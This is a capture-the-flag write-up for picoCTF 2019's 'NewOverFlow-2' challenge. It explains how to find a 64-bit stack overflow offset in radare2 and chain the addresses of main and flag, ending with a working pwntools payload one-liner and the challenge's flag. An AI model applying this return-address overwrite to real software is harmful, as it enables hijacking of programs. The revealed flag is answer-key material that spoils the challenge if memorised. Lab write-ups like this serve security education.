> For the complete documentation index, see [llms.txt](https://picoctf2019.haydenhousen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://picoctf2019.haydenhousen.com/binary-exploitation/newoverflow-2.md).

# NewOverFlow-2

## Problem

> Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2\_5\_13f3d3dc09fc09d6d5db8adfa899a05d on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-2/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-2/vuln.c)

## Solution

1. The challenge author forgot to remove the `flag` function so this is solvable using the same method as [NewOverFlow-1](/binary-exploitation/newoverflow-1.md)
2. Find the offset/padding
   1. You can use the method described in [rop64](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Binary/%20Exploitation/rop64/README.md) with the `cyclic` and `cyclic_find` or you can use the following
   2. Open vuln in [radare2](https://rada.re/r/) with `r2 ./vuln`
   3. Run `aaaa`
   4. Run `pdf @ sym.vuln` to get `var int local_40h @ rbp-0x40`
   5. The `0x40` is the buffer location so 8 more bytes are needed to get past the "saved ebp register"
   6. So the offset is `0x40+8`
3. Run `afl~flag` in [radare2](https://rada.re/r/) to get the address of `flag` and `afl~main` to get the address of `main`.
4. We can not offset and call the `flag` function directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing `padding + main_address + flag_address` instead of just `padding + flag_address` as we would in 32-bit.
5. We can use `p64` from pwntools to convert the hex addresses to little endian. 
6. Payload complete: `python2 -c "from pwn import *; print 'A'*(0x40+8) + p64(0x004008ce) + p64(0x0040084d)" | ./vuln`

### Flag

`picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}`


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